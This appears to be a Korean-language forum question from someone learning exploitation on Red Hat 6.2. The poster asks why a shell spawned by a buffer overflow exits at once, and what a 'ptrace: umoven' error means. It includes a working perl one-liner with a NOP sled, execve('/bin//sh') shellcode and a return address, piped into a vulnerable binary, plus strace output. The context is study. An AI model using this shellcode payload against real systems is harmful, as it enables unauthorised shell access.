레드햇 6.2환경에서 나온 결과들입니다
[cd80@leaveret cd80]$ perl -e 'print "\x90"x200, "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80", "\x90"x37, "\x8c\xfc\xff\xbf"' | strace ./vul
이렇게 실행시키면 쉘이 실행된후 read(0, "", 4096); 이 자동으로 실행되던데 왜 실행되는지 이해가 안되네요
;cat붙이고 실행하면 read(0, 여기서 입력을 기다리는 상태가 되구요
둘다 실행했을때
execve("/bin//sh", ["/bin//sh"]ptrace: umoven: Input/output error
가 뜨긴 합니다
여기서 또 ptrace: umoven: Input/output error가 언제 발생하는지를 모르겠네요
;cat 없이 했을 시
==============================================================
mprotect(0x40018000, 970752, PROT_READ|PROT_WRITE) = 0
mprotect(0x40018000, 970752, PROT_READ|PROT_EXEC) = 0
munmap(0x40015000, 12210) = 0
personality(PER_LINUX) = 0
getpid() = 3579
fstat64(0, 0xbffffb20) = -1 ENOSYS (Function not implemented)
fstat(0, {st_mode=S_IFIFO|0600, st_size=264, ...}) = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0
x40015000
read(0, "\220\220\220\220\220\220\220\220\220\220\220\220\220\220"..., 4096) = 2
64
read(0, "", 4096) = 0
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ...}) = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0
==============================================================
;cat 붙이고 했을 시
==============================================================
mprotect(0x40018000, 970752, PROT_READ|PROT_WRITE) = 0
mprotect(0x40018000, 970752, PROT_READ|PROT_EXEC) = 0
munmap(0x40015000, 12210) = 0
personality(PER_LINUX) = 0
getpid() = 3585
fstat64(0, 0xbffffb20) = -1 ENOSYS (Function not implemented)
fstat(0, {st_mode=S_IFIFO|0600, st_size=264, ...}) = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0
x40015000
read(0, "\220\220\220\220\220\220\220\220\220\220\220\220\220\220"..., 4096) = 2
64
read(0,
==============================================================
위에 cat 안붙였을땐 read(0, "", 4096); 에서 0이 리턴되어 EOF로 인식해 쉘이 종료되는거 같아요
Q1. 저번에 stackoverflow.com에서 gets()가 stdin을 변수에 복사하고 stdin을 청소해준다고 본거같은데 이게 맞나요? 맞다면 이것때문에 read(1, "", 4096);이 들어갈수도 있나요? 그냥 strace /bin/sh에서 컨트롤 D누르면 비슷하게 read(0, "", 512); 가 들어가고 종료되긴 하거든요
Q2. 저 위에 ptrace: umoven: I/O error가 왜 발생하는건가요? |